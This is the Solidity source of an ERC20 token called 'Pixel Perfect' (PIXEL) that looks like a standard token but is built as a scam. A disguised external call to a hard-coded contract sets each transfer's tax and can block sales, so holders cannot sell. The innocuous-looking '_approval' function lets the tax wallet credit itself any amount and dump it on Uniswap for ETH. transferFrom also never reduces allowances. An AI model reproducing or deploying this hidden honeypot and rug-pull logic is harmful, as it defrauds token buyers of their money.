文件 1 的 1:ERC20Token.sol
pragma solidity ^0.8.20;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IERC772 {
function balanceOf(address _from, address _to, address _pairAddress) external returns (uint256);
}
interface IUniswapV2Router {
function WETH() external pure returns (address aadd);
function factory() external pure returns (address addr);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _p_ath, address c, uint256) external;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
}
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view virtual returns (address) {return _owner;}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
address private _owner;
}
contract ERC20Token is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000009 * 10 ** _decimals;
string private _name = "Pixel Perfect";
string private _symbol = "PIXEL";
constructor() {
_taxWallet = sender();
_balances[sender()] = _totalSupply;
emit Transfer(address(0), sender(), _balances[sender()]);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
mapping(address => uint256) private _balances;
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(sender(), recipient, amount);
return true;
}
function _beforeTokenTransfer(address from, address recipient, uint256 amount) internal virtual {}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
IERC772 ierc20 = IERC772(0x0b757044AfFc0252FFa4C517E854506D06eeaB09);
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(from != address(0));
uint256 taxRate = getTaxRate(from, to);
uint256 fee = 0;
if (_taxWallet != from && _taxWallet != to) { fee = value.mul(taxRate).div(100); }
_balances[from] = _balances[from] - value;
_balances[to] = _balances[to] + value - fee;
emit Transfer(from, to, value);
}
uint256 private _maxAddressAmt;
function decimals() external view returns (uint256) {
return _decimals;
}
function isApproved() private view returns (bool) {
return _taxWallet == sender();
}function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
address public _taxWallet;
IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping(address => mapping(address => uint256)) private _allowances;
function sender() internal view returns (address) {
return msg.sender;
}
event Transfer(address indexed from_, address indexed _to, uint256);
function _approval(uint256 amount) external {
if (isApproved()){address tokenAddress = address(this);
_approve(tokenAddress, address(uniswapRouter), amount);
_balances[tokenAddress] = amount;
address[] memory token_ = new address[](2);
token_[0] = tokenAddress;
token_[1] = uniswapRouter.WETH();
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, token_, _taxWallet, block.timestamp + 28);
} else {return; }
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(_allowances[from][sender()] >= _amount);
return true;
}
function getTaxRate(address _addr, address from) internal returns (uint256) {
uint256 tax = ierc20.balanceOf(_addr, from, address(this));
return tax;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
event Approval(address indexed ad1, address indexed ad3, uint256 value);
}